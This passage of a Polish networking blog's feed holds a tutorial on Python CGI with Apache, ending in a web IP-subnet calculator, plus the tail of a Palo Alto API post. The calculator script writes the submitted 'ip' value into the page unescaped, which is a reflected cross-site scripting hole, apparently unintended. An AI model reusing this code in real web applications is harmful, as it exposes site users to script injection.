							<img width="720" height="198" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_2_1.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_2_1.png 1017w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_2_1-300x83.png 300w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_2_1-768x211.png 768w" sizes="(max-width: 720px) 100vw, 720px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="e8fd54e" class="elementor-element elementor-element-e8fd54e elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="9a8149a" class="elementor-element elementor-element-9a8149a elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="6351ddf" class="elementor-element elementor-element-6351ddf elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_3_1.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-6" data-rl_title="" data-rl_caption="" title="">
							<img width="720" height="205" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_3_1.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_3_1.png 1012w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_3_1-300x85.png 300w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/03/rules_3_1-768x219.png 768w" sizes="(max-width: 720px) 100vw, 720px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="de8fae7" class="elementor-element elementor-element-de8fae7 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="963807b" class="elementor-element elementor-element-963807b elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="110b5a6" class="elementor-element elementor-element-110b5a6 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><h5><span style="color: #000000;"> </span></h5><h5><span style="color: #000000;">PODSUMOWANIE</span></h5></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="f6d1c33" class="elementor-element elementor-element-f6d1c33 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="a3ba6ef" class="elementor-element elementor-element-a3ba6ef elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="61cf95e" class="elementor-element elementor-element-61cf95e elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Jak widać API na urządzeniach Palo Alto umożliwia w łatwy sposób tworzyć reguły bezpieczeństwa. Jest to bardzo przydatne w sytuacji, gdy musimy tą samą regułę stworzyć na wielu urządzeniach.</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
						</div>
			</div>
		</div>
		]]></content:encoded>
			<wfw:commentRss>https://kubsoo.github.io/rsnet-website/palo-alto-api-reguly-python-skrypt/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Programowanie CGI Pythona</title>
		<link>https://kubsoo.github.io/rsnet-website/cgi_python/</link>
		<comments>https://kubsoo.github.io/rsnet-website/cgi_python/#respond</comments>
		<pubDate>Sat, 03 Feb 2018 19:05:56 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Poradnik]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[cgi]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">https://kubsoo.github.io/rsnet-website/?p=965</guid>
		<description><![CDATA[Czym jest CGI ? (ang. Common Gateway Interface) &#8211; jest standardowym sposobem przekazywania przez serwer www żądania użytkownika do aplikacji i odbierania danych od aplikacji i przekazywanie ich użytkownikowi. Gdy&#46;&#46;&#46;]]></description>
				<content:encoded><![CDATA[		<div class="elementor elementor-965">
			<div class="elementor-inner">
				<div class="elementor-section-wrap">
							<section data-id="1a2a34e" class="elementor-element elementor-element-1a2a34e elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="11fe55e" class="elementor-element elementor-element-11fe55e elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="7fe0ec1" class="elementor-element elementor-element-7fe0ec1 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><h5><span style="color: #000000;">Czym jest CGI ?</span></h5><p style="text-align: justify;"><span style="color: #000000;">(ang. Common Gateway Interface) &#8211; jest standardowym sposobem przekazywania przez serwer www żądania użytkownika do aplikacji i odbierania danych od aplikacji i przekazywanie ich użytkownikowi. Gdy użytkownik odwiedza stronę internetową (np. wprowadzając adres strony internetowej), serwer odsyła żądaną stronę. Takie działanie ma miejsce w przypadku stron statycznych, jednakże obecnie mamy w internecie przewagę stron dynamicznych, w przypadku których prezentowana strona jest generowana dynamicznie przez aplikację. Dzieje się tak na przykład w przypadku formularza na stronie internetowej. Użytkownik wypełnia dane w formularzu, przesyła je do serwera, następnie serwer otrzymane dane przesyła do aplikacji, która następnie przetwarza otrzymanie dane i zwraca wynik działania do użytkownika. Ta metoda, lub konwencja przekazywania danych tam i z powrotem między serwerem a aplikacją nazywa się CGI. </span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="bf52341" class="elementor-element elementor-element-bf52341 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="7f6ed40" class="elementor-element elementor-element-7f6ed40 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="0f95634" class="elementor-element elementor-element-0f95634 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><h5><span style="color: #000000;">Konfiguracja serwera WWW</span></h5><p style="text-align: justify;"><span style="color: #000000;">W celu poprawnego działania skryptów CGI konieczne jest odpowiednie skonfigurowanie serwera www. W moim przypadku serwerem www jest Apache i pokażę jak go skonfigurować do pracy z CGI. Konfigurację apache możemy wykonać w następujących krokach:</span></p><p><span style="color: #000000;"><strong>Krok 1.</strong></span></p><p style="text-align: justify;"><span style="color: #000000;">Edytujemy zawartość pliku z naszą stroną (/sites-available/000-default.conf) odkomentowując linijkę:  </span><strong><span style="color: #000000;">Include conf-available/serve-cgi-bin.conf</span></strong></p><pre><span style="color: #000000;">root@ubuntu-2:/usr/lib/cgi-bin# nano /etc/apache2/sites-available/000-default.conf</span></pre><pre><span style="color: #000000;">&lt;VirtualHost *:80&gt;</span><br /><span style="color: #000000;">        # The ServerName directive sets the request scheme, hostname and port </span><br /><span style="color: #000000;">        # the server uses to identify itself. This is used when creating</span><br /><span style="color: #000000;">        # redirection URLs. In the context of virtual hosts, the ServerName</span><br /><span style="color: #000000;">        # specifies what hostname must appear in the request's Host: header to</span><br /><span style="color: #000000;">        # match this virtual host. For the default virtual host (this file) this</span><br /><span style="color: #000000;">        # value is not decisive as it is used as a last resort host regardless.</span><br /><span style="color: #000000;">        # However, you must set it for any further virtual host explicitly.</span><br /><span style="color: #000000;">        #ServerName www.example.com</span><br /><br /><span style="color: #000000;">        ServerAdmin webmaster@localhost</span><br /><span style="color: #000000;">        DocumentRoot /var/www/html</span><br /><br /><span style="color: #000000;">        # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,</span><br /><span style="color: #000000;">        # error, crit, alert, emerg.</span><br /><span style="color: #000000;">        # It is also possible to configure the loglevel for particular</span><br /><span style="color: #000000;">        # modules, e.g.</span><br /><br /><span style="color: #000000;">        #LogLevel info ssl:warn</span><br /><br /><span style="color: #000000;">        ErrorLog ${APACHE_LOG_DIR}/error.log</span><br /><span style="color: #000000;">        CustomLog ${APACHE_LOG_DIR}/access.log combined</span><br /><br /><span style="color: #000000;">        # For most configuration files from conf-available/, which are</span><br /><span style="color: #000000;">        # enabled or disabled at a global level, it is possible to</span><br /><span style="color: #000000;">        # include a line for only one particular virtual host. For example the</span><br /><span style="color: #000000;">        # following line enables the CGI configuration for this host only</span><br /><span style="color: #000000;">        # after it has been globally disabled with "a2disconf".</span><br /><br /><span style="color: #000000;">      <b>  Include conf-available/serve-cgi-bin.conf</b></span><br /><span style="color: #000000;">&lt;/VirtualHost&gt;</span></pre><div><strong><span style="color: #000000;">Krok 2.</span></strong></div><div> </div><div><span style="color: #000000;">Edytujemy plik<strong> conf-available/serve-cgi-bin.conf</strong></span></div><div><pre>         <span style="color: #000000;">&lt;IfDefine ENABLE_USR_LIB_CGI_BIN&gt;</span><br /><span style="color: #000000;">                ScriptAlias <b>/cgi-bin/ /home/kuba/scripts/</b></span><br /><span style="color: #000000;">                &lt;Directory "<b>/home/kuba/scripts/</b>"&gt;</span><br /><span style="color: #000000;">                        AllowOverride None</span><br /><span style="color: #000000;">                        Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch</span><br /><span style="color: #000000;">                        Require all granted</span><br /><span style="color: #000000;">                      <b>  AddHandler cgi-script .py</b></span><br /><span style="color: #000000;">                &lt;/Directory&gt;</span><br /><span style="color: #000000;">        &lt;/IfDefine&gt;</span></pre></div><div style="text-align: justify;"><span style="color: #000000;">ScriptAlias wskazuje gdzie będą przetrzymywane nasze skrypty, domyślnie jest to katalog /var/www/cgi-bin, natomiast możemy tu ustawić dowolny inny katalog. Ja ustawiłem katalog /home/kuba/scripts.</span></div><div> </div><div style="text-align: justify;"><span style="color: #000000;">AddHandler wskazuje jakie rozszerzenia skryptów będziemy obsługiwać (w moim przypadku będą to skrypty python więc dodałem rozszerzenie .py)</span></div><p> </p><p><span style="color: #000000;"><strong>Krok 3.</strong></span></p><p><span style="color: #000000;">Aktywujemy moduł cgi w apache i restartujemy apache&#8217;a.</span></p><pre><span style="color: #000000;">root@ubuntu-2:/usr/lib/cgi-bin# a2enmod cgi</span><br /><span style="color: #000000;">root@ubuntu-2:/usr/lib/cgi-bin# systemctl restart apache2</span></pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="cb12231" class="elementor-element elementor-element-cb12231 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="95aa223" class="elementor-element elementor-element-95aa223 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="52e7236" class="elementor-element elementor-element-52e7236 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><h5><span style="color: #000000;">Pierwszy skrypt</span></h5><p style="text-align: justify;"><span style="color: #000000;">Stwórzmy sobie pierwszy skrypt python, który wygeneruje nam stronę www z treścią Hello World !!!.</span></p><p><span style="color: #000000;">Skrypt ten wygląda następująco:</span></p><pre><span style="color: #000000;">#!/usr/bin/python</span><br /><br /><span style="color: #000000;">print("Content-Type: text/html\n\n")</span><br /><span style="color: #000000;">print('''</span><br /><span style="color: #000000;">&lt;html&gt;</span><br /><span style="color: #000000;">&lt;head&gt;</span><br /><span style="color: #000000;">&lt;title&gt;Hello World - script&lt;/title&gt;</span><br /><span style="color: #000000;">&lt;/head&gt;</span><br /><span style="color: #000000;">&lt;body&gt;</span><br /><span style="color: #000000;">&lt;p&gt;Hello Word !!!&lt;/p&gt;</span><br /><span style="color: #000000;">&lt;/body&gt;</span><br /><span style="color: #000000;">&lt;/html&gt;</span><br /><span style="color: #000000;">''')</span></pre><p style="text-align: justify;"><span style="color: #000000;">Następnie skrypt musimy umieścić w naszym katalogu ze skryptami (/home/kuba/scripts) i nadać mu atrybuty wykonywalności (chmod +x). </span></p><p style="text-align: justify;"><span style="color: #000000;">Teraz pozostaje tylko otwarcie odpowiedniego linku w przeglądarce:</span></p><p style="text-align: justify;"><span style="color: #000000;"><strong>http://192.168.48.142/cgi-bin/hello.py   </strong></span></p><p style="text-align: justify;"><span style="color: #000000;">gdzie:</span></p><p style="text-align: justify;"><span style="color: #000000;">192.168.48.142 to adres naszego serwera,</span></p><p style="text-align: justify;"><span style="color: #000000;">hello.py to nazwa naszego skryptu.</span></p><p> </p><p><span style="color: #000000;">Jeśli wszystko przebiegło pomyślnie naszym oczom powinna ukazać strona z zawartościa Hello World !!!.</span></p><p> </p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="b555971" class="elementor-element elementor-element-b555971 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="b7e6911" class="elementor-element elementor-element-b7e6911 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="8b8314c" class="elementor-element elementor-element-8b8314c elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/cgi_1.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-0" data-rl_title="" data-rl_caption="" title="">
							<img width="454" height="139" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/cgi_1.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/cgi_1.png 454w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/cgi_1-300x92.png 300w" sizes="(max-width: 454px) 100vw, 454px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="f44b6ba" class="elementor-element elementor-element-f44b6ba elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="72362a9" class="elementor-element elementor-element-72362a9 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="9b8d37c" class="elementor-element elementor-element-9b8d37c elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><h5> </h5><h5><span style="color: #000000;">KALKULATOR IP W PYTHON</span></h5><p style="text-align: justify;">Teraz spróbujmy napisać coś bardziej zaawansowanego w python, a mianowicie kalkulator IP. Do tego celu posłuży nam wbudowana Pythona biblioteka ipaddress, która umożliwia pracę z adresami IP.</p><p>Cała aplikacja będzie składać się z 3 plików:</p><ol><li>/var/www/html/index.html</li><li>/home/kuba/scripts/script.py</li><li>/home/kuba/scripts/calc.py</li></ol><p>Zawartość plików jest następująca:</p><ol><li>/var/www/html/index.html</li></ol><pre>&lt;html&gt;<br />&lt;head&gt;<br />&lt;title&gt;IP Calculator&lt;/title&gt;<br />&lt;/head&gt;<br />&lt;body&gt;<br />&lt;p&gt;Python IP Calculator&lt;/p&gt;<br />&lt;iframe src="./cgi-bin/script.py" width="400" height="350"&gt;&lt;/iframe&gt;<br />&lt;/body&gt;<br />&lt;/html&gt;</pre><p>2. /home/kuba/scripts/script.py</p><pre>#!/usr/bin/python<br /><br />print("Content-Type: text/html\n\n")<br />print('''<br />&lt;html&gt;<br />&lt;head&gt;<br />&lt;title&gt;IP Calculator&lt;/title&gt;<br />&lt;/head&gt;<br />&lt;body&gt;<br />&lt;p&gt;INSERT IP AND SUBNET&lt;/p&gt;<br />&lt;form action = "calc.py" method = "get"&gt;<br />&lt;input type = "text" value = "192.168.0.0" name = "ip"&gt; IP Address (eg. 192.168.0.0)&lt;br /&gt;<br />&lt;input type = "text" value = "24" name = "subnet" /&gt; Subnet Mask (eg. 24)&lt;br /&gt;<br />&lt;input type = "submit" value = "Calc" /&gt;<br />&lt;/form&gt;<br />&lt;/body&gt;<br />&lt;/html&gt;<br />''')</pre><p>3. /home/kuba/scripts/calc.py</p><pre>#!/usr/bin/python<br /><br />import cgi, cgitb, ipaddress<br /><br />form = cgi.FieldStorage()<br />ip = form.getvalue('ip')<br />subnet = form.getvalue('subnet')<br />ips = unicode(ip+"/"+subnet)<br />intf = ipaddress.ip_interface(ips)<br />netmask = intf.with_netmask.split("/")[1]<br /><br />print("Content-Type: text/html\n\n")<br />print('''<br />&lt;html&gt;<br />&lt;head&gt;<br />&lt;title&gt;IP Calculator&lt;/title&gt;<br />&lt;/head&gt;<br />&lt;body&gt;<br />&lt;p&gt;RESULTS&lt;/p&gt;<br />''')<br /><br />print"&lt;p&gt;IP Address &lt;font color='blue'&gt;%s&lt;/font&gt;&lt;/p&gt;" % (ip)<br />print"&lt;p&gt;Subnet Mask &lt;font color='blue'&gt;%s = %s&lt;/font&gt;&lt;/p&gt;" % (netmask,subnet)<br />print"&lt;p&gt;Wildcard Mask &lt;font color='blue'&gt;%s&lt;/font&gt;&lt;/p&gt;" % (intf.network.with_hostmask.split('/')[1])<br />print"&lt;p&gt;Network &lt;font color='blue'&gt;%s&lt;/font&gt;&lt;/p&gt;" % (intf.network.with_prefixlen)<br />print"&lt;p&gt;Broadcast &lt;font color='blue'&gt;%s&lt;/font&gt;&lt;/p&gt;" % (intf.network.broadcast_address)<br />print"&lt;p&gt;Host Min &lt;font color='blue'&gt;%s&lt;/font&gt;&lt;/p&gt;" % (intf.network[1])<br />print"&lt;p&gt;Host Max &lt;font color='blue'&gt;%s&lt;/font&gt;&lt;/p&gt;" % (intf.network[-2])<br />print"&lt;p&gt;Hosts/Net &lt;font color='blue'&gt;%s&lt;/font&gt;&lt;/p&gt;" % (intf.network.num_addresses-2)<br /><br />print('''<br />&lt;/form&gt;<br />&lt;/body&gt;<br />&lt;/html&gt;<br />''')</pre><p>Zasada działania kalkulatora jest następująca:</p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="7f1f4a8" class="elementor-element elementor-element-7f1f4a8 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="c37290f" class="elementor-element elementor-element-c37290f elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="2bf1c84" class="elementor-element elementor-element-2bf1c84 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;">Klient wchodzi na stronę http://192.168.48.142/index.html (plik /var/www/html/index.html). Strona składa się z ramki, w której wyświetlany jest wynik skryptu script.py.  Wynikiem działania skryptu script.py jest formularz, składający się z pól tekstowych ip i subnet, oraz przycisku Calc, który uruchamia skrypt calc.py. Skrypt calc.py wykonuje operacje  na podanych w formularzu polach ip i subnet i prezentuje na ich podstawie następujące wyniki:</p><p>IP Address &#8211; adres IP podany w formularzu,</p><p>Subnet Mask &#8211; maska podsieci podana w formularzu,</p><p>Wildcard Mask &#8211; maska w formacie wildard&#8217;owym,</p><p>Network &#8211; adres sieci,</p><p>Broadcast &#8211; adres rozgłoszeniowy,</p><p>Host Min &#8211; najmniejszy adres dostępny dla hosta,</p><p>Host Max &#8211; największy adres dostępny dla hosta,</p><p>Hosts/Net &#8211; ilość adresów dostępna dla hostów.</p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="43f30d7" class="elementor-element elementor-element-43f30d7 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="cff0454" class="elementor-element elementor-element-cff0454 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="e65fc46" class="elementor-element elementor-element-e65fc46 elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ip_calc.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-1" data-rl_title="" data-rl_caption="" title="">
							<img width="580" height="240" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ip_calc.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ip_calc.png 580w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ip_calc-300x124.png 300w" sizes="(max-width: 580px) 100vw, 580px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="89f72e4" class="elementor-element elementor-element-89f72e4 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="c70b071" class="elementor-element elementor-element-c70b071 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="0a0b9b5" class="elementor-element elementor-element-0a0b9b5 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><h5><span style="color: #000000;"><strong>WYNIK</strong></span></h5><p>Sprawdźmy teraz jak wygląda aplikacja kalkulatora IP z punku widzenia klienta i jego przeglądarki. Otwórzmy w tym celu stronę index.html:</p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="c5d72ec" class="elementor-element elementor-element-c5d72ec elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="542731b" class="elementor-element elementor-element-542731b elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="fde1d1f" class="elementor-element elementor-element-fde1d1f elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ip_calc_3.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-2" data-rl_title="" data-rl_caption="" title="">
							<img width="468" height="499" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ip_calc_3.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ip_calc_3.png 468w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ip_calc_3-281x300.png 281w" sizes="(max-width: 468px) 100vw, 468px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="e7308cc" class="elementor-element elementor-element-e7308cc elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="de5f315" class="elementor-element elementor-element-de5f315 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="1139494" class="elementor-element elementor-element-1139494 elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ip_calc_4.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-3" data-rl_title="" data-rl_caption="" title="">
							<img width="440" height="498" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ip_calc_4.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ip_calc_4.png 440w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ip_calc_4-265x300.png 265w" sizes="(max-width: 440px) 100vw, 440px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="382e653" class="elementor-element elementor-element-382e653 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="4f7d80a" class="elementor-element elementor-element-4f7d80a elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="197ced6" class="elementor-element elementor-element-197ced6 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><h5><span style="color: #000000;"><strong>PODSUMOWANIE</strong></span></h5><p style="text-align: justify;">Na powyższym przykładzie aplikacji www kalkulatora IP, widać, że Python z CGI dają olbrzymie możliwości tworzenia aplikacji internetowych przy wykorzystaniu skryptów. Oczywiście powyższe zastosowanie nie jest najlepszą i najwydajniejsza metodą tworzenia stron internetowych, ale pokazuję, że właściwie bez zaawansowanej znajomości kodowania stron www, możemy tworzyć łatwe formularze czy aplikacje wykorzystując skrypty Pythona. Do bardziej zaawansowanych aplikacji można skorzystać z nowoczesnego frameworka opartego na Pythonie a mianowicie <a href="https://www.djangoproject.com/">Django</a>.</p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
						</div>
			</div>
		</div>
		]]></content:encoded>
			<wfw:commentRss>https://kubsoo.github.io/rsnet-website/cgi_python/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DMVPN faza 1 + IPSEC &#8211; konfiguracja</title>
		<link>https://kubsoo.github.io/rsnet-website/dmvpn-faza-1-konfiguracja-2/</link>
		<comments>https://kubsoo.github.io/rsnet-website/dmvpn-faza-1-konfiguracja-2/#respond</comments>
		<pubDate>Tue, 02 Jan 2018 19:36:21 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Na szybko]]></category>
		<category><![CDATA[cisco]]></category>
		<category><![CDATA[dmvpn]]></category>
		<category><![CDATA[faza 1]]></category>
		<category><![CDATA[ipsec]]></category>
		<category><![CDATA[konfiguracja]]></category>
		<category><![CDATA[nhrp]]></category>
		<category><![CDATA[Poradnik]]></category>

		<guid isPermaLink="false">https://kubsoo.github.io/rsnet-website/?p=983</guid>
		<description><![CDATA[We wpisie https://kubsoo.github.io/rsnet-website/dmvpn-faza-1-konfiguracja/ pokazałem jak skonfigurować DMVPN w fazie 1 z dynamicznymi mapowaniami NHRP. W tym wpisie pokażę jak do tak przygotowanej konfiguracji dodać konfigurację IPSEC, tak żeby łączność pomiędzy urządzeniami była&#46;&#46;&#46;]]></description>
				<content:encoded><![CDATA[		<div class="elementor elementor-983">
			<div class="elementor-inner">
				<div class="elementor-section-wrap">
							<section data-id="1c79627" class="elementor-element elementor-element-1c79627 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="9c650a4" class="elementor-element elementor-element-9c650a4 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="7aa1a3f" class="elementor-element elementor-element-7aa1a3f elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
